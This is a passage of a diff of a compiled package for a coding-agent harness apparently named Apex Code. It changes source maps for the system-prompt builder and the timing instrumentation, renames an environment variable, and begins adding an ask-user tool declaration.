to related docs (e.g., tui.md for TUI API details)`;\n\n\tif (appendSection) {\n\t\tprompt += appendSection;\n\t}\n\n\t// Append project context files\n\tif (contextFiles.length > 0) {\n\t\tprompt += \"\\n\\n<project_context>\\n\\n\";\n\t\tprompt += \"Project-specific instructions and guidelines:\\n\\n\";\n\t\tfor (const { path: filePath, content } of contextFiles) {\n\t\t\tprompt += `<project_instructions path=\"${filePath}\">\\n${content}\\n</project_instructions>\\n\\n`;\n\t\t}\n\t\tprompt += \"</project_context>\\n\";\n\t}\n\n\t// Append skills section (only if read tool is available)\n\tif (hasRead && skills.length > 0) {\n\t\tprompt += formatSkillsForPrompt(skills);\n\t}\n\n\tprompt += `\\nCurrent working directory: ${promptCwd}`;\n\n\treturn prompt;\n}\n"]}
1
+ {"version":3,"file":"system-prompt.js","sourceRoot":"","sources":["../../src/core/system-prompt.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * System prompt construction and project context loading\n */\n\nimport { getDocsPath, getExamplesPath, getReadmePath } from \"../config.ts\";\nimport { formatSkillsForPrompt, SKILL_CATALOG_PREFIX_BUDGET_TOKENS, type Skill } from \"./skills.ts\";\n\nexport interface BuildSystemPromptOptions {\n\t/** Custom system prompt (replaces the Apex-authored prose, not the tool contributions). */\n\tcustomPrompt?: string;\n\t/** Tools to include in prompt. Default: [read, bash, edit, write] */\n\tselectedTools?: string[];\n\t/** Optional one-line tool snippets keyed by tool name. */\n\ttoolSnippets?: Record<string, string>;\n\t/** Additional guideline bullets contributed by active tools and extensions. */\n\tpromptGuidelines?: string[];\n\t/** Text to append to system prompt. */\n\tappendSystemPrompt?: string;\n\t/** Working directory. */\n\tcwd: string;\n\t/** Pre-loaded context files. */\n\tcontextFiles?: Array<{ path: string; content: string }>;\n\t/** Pre-loaded skills. */\n\tskills?: Skill[];\n}\n\nfunction dedupeGuidelines(guidelines: readonly string[]): string[] {\n\tconst seen = new Set<string>();\n\tconst result: string[] = [];\n\tfor (const guideline of guidelines) {\n\t\tconst normalized = guideline.trim();\n\t\tif (normalized.length === 0 || seen.has(normalized)) {\n\t\t\tcontinue;\n\t\t}\n\t\tseen.add(normalized);\n\t\tresult.push(normalized);\n\t}\n\treturn result;\n}\n\n/** Build the system prompt with tools, guidelines, and context */\nexport function buildSystemPrompt(options: BuildSystemPromptOptions): string {\n\tconst {\n\t\tcustomPrompt,\n\t\tselectedTools,\n\t\ttoolSnippets,\n\t\tpromptGuidelines,\n\t\tappendSystemPrompt,\n\t\tcwd,\n\t\tcontextFiles: providedContextFiles,\n\t\tskills: providedSkills,\n\t} = options;\n\tconst promptCwd = cwd.replace(/\\\\/g, \"/\");\n\n\tconst contextFiles = providedContextFiles ?? [];\n\tconst skills = providedSkills ?? [];\n\n\tconst tools = selectedTools || [\"read\", \"bash\", \"edit\", \"write\"];\n\tconst hasRead = tools.includes(\"read\");\n\n\t// A tool appears in Available tools only when the caller provides a one-line snippet.\n\tconst visibleTools = tools.filter((name) => !!toolSnippets?.[name]);\n\tconst toolsList = visibleTools.map((name) => `- ${name}: ${toolSnippets![name]}`).join(\"\\n\");\n\n\t// Contributed by the active tools and extensions, so they survive a custom prompt.\n\tconst contributedGuidelines = dedupeGuidelines(promptGuidelines ?? []);\n\n\tlet prompt: string;\n\n\tif (customPrompt) {\n\t\tprompt = customPrompt;\n\n\t\tif (toolsList.length > 0) {\n\t\t\tprompt += `\\n\\nAvailable tools:\\n${toolsList}`;\n\t\t}\n\n\t\tif (contributedGuidelines.length > 0) {\n\t\t\tprompt += `\\n\\nGuidelines:\\n${contributedGuidelines.map((g) => `- ${g}`).join(\"\\n\")}`;\n\t\t}\n\t} else {\n\t\tconst hasBash = tools.includes(\"bash\");\n\t\tconst hasPowerShell = tools.includes(\"powershell\");\n\t\tconst hasGrep = tools.includes(\"grep\");\n\t\tconst hasFind = tools.includes(\"find\");\n\t\tconst hasLs = tools.includes(\"ls\");\n\t\tconst usesShellForExploration = (hasBash || hasPowerShell) && !hasGrep && !hasFind && !hasLs;\n\t\tconst shellExplorationGuideline =\n\t\t\thasBash && hasPowerShell\n\t\t\t\t? \"Use bash or PowerShell for file operations like listing, searching, and finding files\"\n\t\t\t\t: hasPowerShell\n\t\t\t\t\t? \"Use PowerShell for file operations like listing, searching, and finding files\"\n\t\t\t\t\t: \"Use bash for file operations like ls, rg, find\";\n\n\t\tconst guidelines = dedupeGuidelines([\n\t\t\t...(usesShellForExploration ? [shellExplorationGuideline] : []),\n\t\t\t...contributedGuidelines,\n\t\t\t\"Be concise in your responses\",\n\t\t\t\"Show file paths clearly when working with files\",\n\t\t])\n\t\t\t.map((g) => `- ${g}`)\n\t\t\t.join(\"\\n\");\n\n\t\tconst readmePath = getReadmePath();\n\t\tconst docsPath = getDocsPath();\n\t\tconst examplesPath = getExamplesPath();\n\n\t\tprompt = `You are an expert coding assistant operating inside Apex Code, a provider-agnostic coding agent harness. You help users by reading files, executing commands, editing code, and writing new files.\n\nAvailable tools:\n${toolsList.length > 0 ? toolsList : \"(none)\"}\n\nIn addition to the tools above, you may have access to other custom tools depending on the project.\n\nGuidelines:\n${guidelines}\n\nApex Code documentation (read only when the user asks about Apex Code itself, its SDK, extensions, themes, skills, or TUI):\n- Main documentation: ${readmePath}\n- Additional docs: ${docsPath}\n- Examples: ${examplesPath} (extensions, custom tools, SDK)\n- When reading Apex Code docs or examples, resolve docs/... under Additional docs and examples/... under Examples, not the current working directory\n- When asked about: extensions (docs/extensions.md, examples/extensions/), themes (docs/themes.md), skills (docs/skills.md), prompt templates (docs/prompt-templates.md), TUI components (docs/tui.md), keybindings (docs/keybindings.md), SDK integrations (docs/sdk.md), custom providers (docs/custom-provider.md), adding models (docs/models.md), pi packages (docs/packages.md), environment variables (docs/environment-variables.md)\n- When working on Apex Code topics, read the docs and examples, and follow .md cross-references before implementing\n- Always read Apex Code .md files completely and follow links to related docs (e.g., tui.md for TUI API details)`;\n\t}\n\n\tif (appendSystemPrompt) {\n\t\tprompt += `\\n\\n${appendSystemPrompt}`;\n\t}\n\n\tif (contextFiles.length > 0) {\n\t\tprompt += \"\\n\\n<project_context>\\n\\n\";\n\t\tprompt += \"Project-specific instructions and guidelines:\\n\\n\";\n\t\tfor (const { path: filePath, content } of contextFiles) {\n\t\t\tprompt += `<project_instructions path=\"${filePath}\">\\n${content}\\n</project_instructions>\\n\\n`;\n\t\t}\n\t\tprompt += \"</project_context>\\n\";\n\t}\n\n\tif (hasRead && skills.length > 0) {\n\t\tprompt += formatSkillsForPrompt(skills, SKILL_CATALOG_PREFIX_BUDGET_TOKENS);\n\t}\n\n\tprompt += `\\nCurrent working directory: ${promptCwd}`;\n\n\treturn prompt;\n}\n"]}
@@ -1,6 +1,6 @@
1
1
  /**
2
2
  * Central timing instrumentation for startup profiling.
3
- * Enable with PI_TIMING=1 environment variable.
3
+ * Enable with APEX_CODE_TIMING=1 environment variable.
4
4
  */
5
5
  type TimingLabel = "main" | "extensions";
6
6
  export declare function resetTimings(namespace?: TimingLabel): void;
@@ -1 +1 @@
1
- {"version":3,"file":"timings.d.ts","sourceRoot":"","sources":["../../src/core/timings.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAQH,KAAK,WAAW,GAAG,MAAM,GAAG,YAAY,CAAC;AAIzC,wBAAgB,YAAY,CAAC,SAAS,GAAE,WAAoB,GAAG,IAAI,CAGlE;AAED,wBAAgB,IAAI,CAAC,KAAK,EAAE,MAAM,EAAE,SAAS,GAAE,WAAoB,GAAG,IAAI,CAWzE;AAaD,wBAAgB,YAAY,IAAI,IAAI,CAKnC","sourcesContent":["/**\n * Central timing instrumentation for startup profiling.\n * Enable with PI_TIMING=1 environment variable.\n */\n\nconst ENABLED = process.env.PI_TIMING === \"1\";\ninterface TimingNamespace {\n\ttimings: Array<{ label: string; ms: number }>;\n\tlastTime: number;\n}\n\ntype TimingLabel = \"main\" | \"extensions\";\n\nconst timingNamespaces = new Map<TimingLabel, TimingNamespace>();\n\nexport function resetTimings(namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\ttimingNamespaces.set(namespace, { timings: [], lastTime: Date.now() });\n}\n\nexport function time(label: string, namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\tconst now = Date.now();\n\n\tif (!timingNamespaces.has(namespace)) {\n\t\tresetTimings(namespace);\n\t}\n\n\tconst timingNamespace = timingNamespaces.get(namespace)!;\n\ttimingNamespace.timings.push({ label, ms: now - timingNamespace.lastTime });\n\ttimingNamespace.lastTime = now;\n}\n\nfunction printTimingGroup(title: string, timings: TimingNamespace[\"timings\"]): void {\n\tconst printableTimings = timings.filter((timing) => timing.ms >= 0);\n\tif (printableTimings.length === 0) return;\n\tconsole.error(`\\n--- ${title} ---`);\n\tfor (const t of printableTimings) {\n\t\tconsole.error(` ${t.label}: ${t.ms}ms`);\n\t}\n\tconsole.error(` TOTAL: ${printableTimings.reduce((a, b) => a + b.ms, 0)}ms`);\n\tconsole.error(`${\"-\".repeat(title.length + 8)}\\n`);\n}\n\nexport function printTimings(): void {\n\tif (!ENABLED) return;\n\tfor (const [namespace, timingNamespace] of timingNamespaces) {\n\t\tprintTimingGroup(`Startup Timings: ${namespace}`, timingNamespace.timings);\n\t}\n}\n"]}
1
+ {"version":3,"file":"timings.d.ts","sourceRoot":"","sources":["../../src/core/timings.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAQH,KAAK,WAAW,GAAG,MAAM,GAAG,YAAY,CAAC;AAIzC,wBAAgB,YAAY,CAAC,SAAS,GAAE,WAAoB,GAAG,IAAI,CAGlE;AAED,wBAAgB,IAAI,CAAC,KAAK,EAAE,MAAM,EAAE,SAAS,GAAE,WAAoB,GAAG,IAAI,CAWzE;AAaD,wBAAgB,YAAY,IAAI,IAAI,CAKnC","sourcesContent":["/**\n * Central timing instrumentation for startup profiling.\n * Enable with APEX_CODE_TIMING=1 environment variable.\n */\n\nconst ENABLED = getApexEnvironment(\"APEX_CODE_TIMING\") === \"1\";\ninterface TimingNamespace {\n\ttimings: Array<{ label: string; ms: number }>;\n\tlastTime: number;\n}\n\ntype TimingLabel = \"main\" | \"extensions\";\n\nconst timingNamespaces = new Map<TimingLabel, TimingNamespace>();\n\nexport function resetTimings(namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\ttimingNamespaces.set(namespace, { timings: [], lastTime: Date.now() });\n}\n\nexport function time(label: string, namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\tconst now = Date.now();\n\n\tif (!timingNamespaces.has(namespace)) {\n\t\tresetTimings(namespace);\n\t}\n\n\tconst timingNamespace = timingNamespaces.get(namespace)!;\n\ttimingNamespace.timings.push({ label, ms: now - timingNamespace.lastTime });\n\ttimingNamespace.lastTime = now;\n}\n\nfunction printTimingGroup(title: string, timings: TimingNamespace[\"timings\"]): void {\n\tconst printableTimings = timings.filter((timing) => timing.ms >= 0);\n\tif (printableTimings.length === 0) return;\n\tconsole.error(`\\n--- ${title} ---`);\n\tfor (const t of printableTimings) {\n\t\tconsole.error(` ${t.label}: ${t.ms}ms`);\n\t}\n\tconsole.error(` TOTAL: ${printableTimings.reduce((a, b) => a + b.ms, 0)}ms`);\n\tconsole.error(`${\"-\".repeat(title.length + 8)}\\n`);\n}\n\nexport function printTimings(): void {\n\tif (!ENABLED) return;\n\tfor (const [namespace, timingNamespace] of timingNamespaces) {\n\t\tprintTimingGroup(`Startup Timings: ${namespace}`, timingNamespace.timings);\n\t}\n}\n\nimport { getApexEnvironment } from \"./environment.ts\";\n"]}
@@ -1,8 +1,8 @@
1
1
  /**
2
2
  * Central timing instrumentation for startup profiling.
3
- * Enable with PI_TIMING=1 environment variable.
3
+ * Enable with APEX_CODE_TIMING=1 environment variable.
4
4
  */
5
- const ENABLED = process.env.PI_TIMING === "1";
5
+ const ENABLED = getApexEnvironment("APEX_CODE_TIMING") === "1";
6
6
  const timingNamespaces = new Map();
7
7
  export function resetTimings(namespace = "main") {
8
8
  if (!ENABLED)
@@ -38,4 +38,5 @@ export function printTimings() {
38
38
  printTimingGroup(`Startup Timings: ${namespace}`, timingNamespace.timings);
39
39
  }
40
40
  }
41
+ import { getApexEnvironment } from "./environment.js";
41
42
  //# sourceMappingURL=timings.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"timings.js","sourceRoot":"","sources":["../../src/core/timings.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,MAAM,OAAO,GAAG,OAAO,CAAC,GAAG,CAAC,SAAS,KAAK,GAAG,CAAC;AAQ9C,MAAM,gBAAgB,GAAG,IAAI,GAAG,EAAgC,CAAC;AAEjE,MAAM,UAAU,YAAY,CAAC,SAAS,GAAgB,MAAM,EAAQ;IACnE,IAAI,CAAC,OAAO;QAAE,OAAO;IACrB,gBAAgB,CAAC,GAAG,CAAC,SAAS,EAAE,EAAE,OAAO,EAAE,EAAE,EAAE,QAAQ,EAAE,IAAI,CAAC,GAAG,EAAE,EAAE,CAAC,CAAC;AAAA,CACvE;AAED,MAAM,UAAU,IAAI,CAAC,KAAa,EAAE,SAAS,GAAgB,MAAM,EAAQ;IAC1E,IAAI,CAAC,OAAO;QAAE,OAAO;IACrB,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAEvB,IAAI,CAAC,gBAAgB,CAAC,GAAG,CAAC,SAAS,CAAC,EAAE,CAAC;QACtC,YAAY,CAAC,SAAS,CAAC,CAAC;IACzB,CAAC;IAED,MAAM,eAAe,GAAG,gBAAgB,CAAC,GAAG,CAAC,SAAS,CAAE,CAAC;IACzD,eAAe,CAAC,OAAO,CAAC,IAAI,CAAC,EAAE,KAAK,EAAE,EAAE,EAAE,GAAG,GAAG,eAAe,CAAC,QAAQ,EAAE,CAAC,CAAC;IAC5E,eAAe,CAAC,QAAQ,GAAG,GAAG,CAAC;AAAA,CAC/B;AAED,SAAS,gBAAgB,CAAC,KAAa,EAAE,OAAmC,EAAQ;IACnF,MAAM,gBAAgB,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,MAAM,EAAE,EAAE,CAAC,MAAM,CAAC,EAAE,IAAI,CAAC,CAAC,CAAC;IACpE,IAAI,gBAAgB,CAAC,MAAM,KAAK,CAAC;QAAE,OAAO;IAC1C,OAAO,CAAC,KAAK,CAAC,SAAS,KAAK,MAAM,CAAC,CAAC;IACpC,KAAK,MAAM,CAAC,IAAI,gBAAgB,EAAE,CAAC;QAClC,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC,KAAK,KAAK,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC;IAC1C,CAAC;IACD,OAAO,CAAC,KAAK,CAAC,YAAY,gBAAgB,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC,GAAG,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,IAAI,CAAC,CAAC;IAC9E,OAAO,CAAC,KAAK,CAAC,GAAG,GAAG,CAAC,MAAM,CAAC,KAAK,CAAC,MAAM,GAAG,CAAC,CAAC,IAAI,CAAC,CAAC;AAAA,CACnD;AAED,MAAM,UAAU,YAAY,GAAS;IACpC,IAAI,CAAC,OAAO;QAAE,OAAO;IACrB,KAAK,MAAM,CAAC,SAAS,EAAE,eAAe,CAAC,IAAI,gBAAgB,EAAE,CAAC;QAC7D,gBAAgB,CAAC,oBAAoB,SAAS,EAAE,EAAE,eAAe,CAAC,OAAO,CAAC,CAAC;IAC5E,CAAC;AAAA,CACD","sourcesContent":["/**\n * Central timing instrumentation for startup profiling.\n * Enable with PI_TIMING=1 environment variable.\n */\n\nconst ENABLED = process.env.PI_TIMING === \"1\";\ninterface TimingNamespace {\n\ttimings: Array<{ label: string; ms: number }>;\n\tlastTime: number;\n}\n\ntype TimingLabel = \"main\" | \"extensions\";\n\nconst timingNamespaces = new Map<TimingLabel, TimingNamespace>();\n\nexport function resetTimings(namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\ttimingNamespaces.set(namespace, { timings: [], lastTime: Date.now() });\n}\n\nexport function time(label: string, namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\tconst now = Date.now();\n\n\tif (!timingNamespaces.has(namespace)) {\n\t\tresetTimings(namespace);\n\t}\n\n\tconst timingNamespace = timingNamespaces.get(namespace)!;\n\ttimingNamespace.timings.push({ label, ms: now - timingNamespace.lastTime });\n\ttimingNamespace.lastTime = now;\n}\n\nfunction printTimingGroup(title: string, timings: TimingNamespace[\"timings\"]): void {\n\tconst printableTimings = timings.filter((timing) => timing.ms >= 0);\n\tif (printableTimings.length === 0) return;\n\tconsole.error(`\\n--- ${title} ---`);\n\tfor (const t of printableTimings) {\n\t\tconsole.error(` ${t.label}: ${t.ms}ms`);\n\t}\n\tconsole.error(` TOTAL: ${printableTimings.reduce((a, b) => a + b.ms, 0)}ms`);\n\tconsole.error(`${\"-\".repeat(title.length + 8)}\\n`);\n}\n\nexport function printTimings(): void {\n\tif (!ENABLED) return;\n\tfor (const [namespace, timingNamespace] of timingNamespaces) {\n\t\tprintTimingGroup(`Startup Timings: ${namespace}`, timingNamespace.timings);\n\t}\n}\n"]}
1
+ {"version":3,"file":"timings.js","sourceRoot":"","sources":["../../src/core/timings.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,MAAM,OAAO,GAAG,kBAAkB,CAAC,kBAAkB,CAAC,KAAK,GAAG,CAAC;AAQ/D,MAAM,gBAAgB,GAAG,IAAI,GAAG,EAAgC,CAAC;AAEjE,MAAM,UAAU,YAAY,CAAC,SAAS,GAAgB,MAAM,EAAQ;IACnE,IAAI,CAAC,OAAO;QAAE,OAAO;IACrB,gBAAgB,CAAC,GAAG,CAAC,SAAS,EAAE,EAAE,OAAO,EAAE,EAAE,EAAE,QAAQ,EAAE,IAAI,CAAC,GAAG,EAAE,EAAE,CAAC,CAAC;AAAA,CACvE;AAED,MAAM,UAAU,IAAI,CAAC,KAAa,EAAE,SAAS,GAAgB,MAAM,EAAQ;IAC1E,IAAI,CAAC,OAAO;QAAE,OAAO;IACrB,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAEvB,IAAI,CAAC,gBAAgB,CAAC,GAAG,CAAC,SAAS,CAAC,EAAE,CAAC;QACtC,YAAY,CAAC,SAAS,CAAC,CAAC;IACzB,CAAC;IAED,MAAM,eAAe,GAAG,gBAAgB,CAAC,GAAG,CAAC,SAAS,CAAE,CAAC;IACzD,eAAe,CAAC,OAAO,CAAC,IAAI,CAAC,EAAE,KAAK,EAAE,EAAE,EAAE,GAAG,GAAG,eAAe,CAAC,QAAQ,EAAE,CAAC,CAAC;IAC5E,eAAe,CAAC,QAAQ,GAAG,GAAG,CAAC;AAAA,CAC/B;AAED,SAAS,gBAAgB,CAAC,KAAa,EAAE,OAAmC,EAAQ;IACnF,MAAM,gBAAgB,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,MAAM,EAAE,EAAE,CAAC,MAAM,CAAC,EAAE,IAAI,CAAC,CAAC,CAAC;IACpE,IAAI,gBAAgB,CAAC,MAAM,KAAK,CAAC;QAAE,OAAO;IAC1C,OAAO,CAAC,KAAK,CAAC,SAAS,KAAK,MAAM,CAAC,CAAC;IACpC,KAAK,MAAM,CAAC,IAAI,gBAAgB,EAAE,CAAC;QAClC,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC,KAAK,KAAK,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC;IAC1C,CAAC;IACD,OAAO,CAAC,KAAK,CAAC,YAAY,gBAAgB,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC,GAAG,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,IAAI,CAAC,CAAC;IAC9E,OAAO,CAAC,KAAK,CAAC,GAAG,GAAG,CAAC,MAAM,CAAC,KAAK,CAAC,MAAM,GAAG,CAAC,CAAC,IAAI,CAAC,CAAC;AAAA,CACnD;AAED,MAAM,UAAU,YAAY,GAAS;IACpC,IAAI,CAAC,OAAO;QAAE,OAAO;IACrB,KAAK,MAAM,CAAC,SAAS,EAAE,eAAe,CAAC,IAAI,gBAAgB,EAAE,CAAC;QAC7D,gBAAgB,CAAC,oBAAoB,SAAS,EAAE,EAAE,eAAe,CAAC,OAAO,CAAC,CAAC;IAC5E,CAAC;AAAA,CACD;AAED,OAAO,EAAE,kBAAkB,EAAE,MAAM,kBAAkB,CAAC","sourcesContent":["/**\n * Central timing instrumentation for startup profiling.\n * Enable with APEX_CODE_TIMING=1 environment variable.\n */\n\nconst ENABLED = getApexEnvironment(\"APEX_CODE_TIMING\") === \"1\";\ninterface TimingNamespace {\n\ttimings: Array<{ label: string; ms: number }>;\n\tlastTime: number;\n}\n\ntype TimingLabel = \"main\" | \"extensions\";\n\nconst timingNamespaces = new Map<TimingLabel, TimingNamespace>();\n\nexport function resetTimings(namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\ttimingNamespaces.set(namespace, { timings: [], lastTime: Date.now() });\n}\n\nexport function time(label: string, namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\tconst now = Date.now();\n\n\tif (!timingNamespaces.has(namespace)) {\n\t\tresetTimings(namespace);\n\t}\n\n\tconst timingNamespace = timingNamespaces.get(namespace)!;\n\ttimingNamespace.timings.push({ label, ms: now - timingNamespace.lastTime });\n\ttimingNamespace.lastTime = now;\n}\n\nfunction printTimingGroup(title: string, timings: TimingNamespace[\"timings\"]): void {\n\tconst printableTimings = timings.filter((timing) => timing.ms >= 0);\n\tif (printableTimings.length === 0) return;\n\tconsole.error(`\\n--- ${title} ---`);\n\tfor (const t of printableTimings) {\n\t\tconsole.error(` ${t.label}: ${t.ms}ms`);\n\t}\n\tconsole.error(` TOTAL: ${printableTimings.reduce((a, b) => a + b.ms, 0)}ms`);\n\tconsole.error(`${\"-\".repeat(title.length + 8)}\\n`);\n}\n\nexport function printTimings(): void {\n\tif (!ENABLED) return;\n\tfor (const [namespace, timingNamespace] of timingNamespaces) {\n\t\tprintTimingGroup(`Startup Timings: ${namespace}`, timingNamespace.timings);\n\t}\n}\n\nimport { getApexEnvironment } from \"./environment.ts\";\n"]}
@@ -0,0 +1,25 @@
1
+ import { type Static, Type } from "typebox";
2
+ import type { ApexToolDefinition } from "./contract.ts";
3
+ declare const askUserSchema: Type.TObject<{
4
+ question: Type.TString;
5
+ options: Type.TArray<Type.TString>;
6
+ }>;
7
+ export type AskUserInput = Static<typeof askUserSchema>;
8
+ export interface AskUserDetails {
9
+ question: string;
10
+ answer: string | undefined;
11
+ }
12
+ /**
13
+ * The `ui` capability's first implementor: a structured question presented through
14
+ * the same `ctx.ui` extensions already use (`ExtensionUIContext.select`). Headless
15
+ * sessions (`--print`, JSON, RPC without a bound UI) install a no-op `ui` whose
16
+ * `select` silently resolves `undefined` -- indistinguishable from a user dismissing
17
+ * the question unless this checks `ctx.hasUI` first and fails closed instead.
18
+ */
19
+ export declare function createAskUserToolDefinition(): ApexToolDefinition<typeof askUserSchema, AskUserDetails>;
20
+ export declare function createAskUserTool(): import("apex-code-agent-core").AgentTool<Type.TObject<{
21
+ question: Type.TString;
22
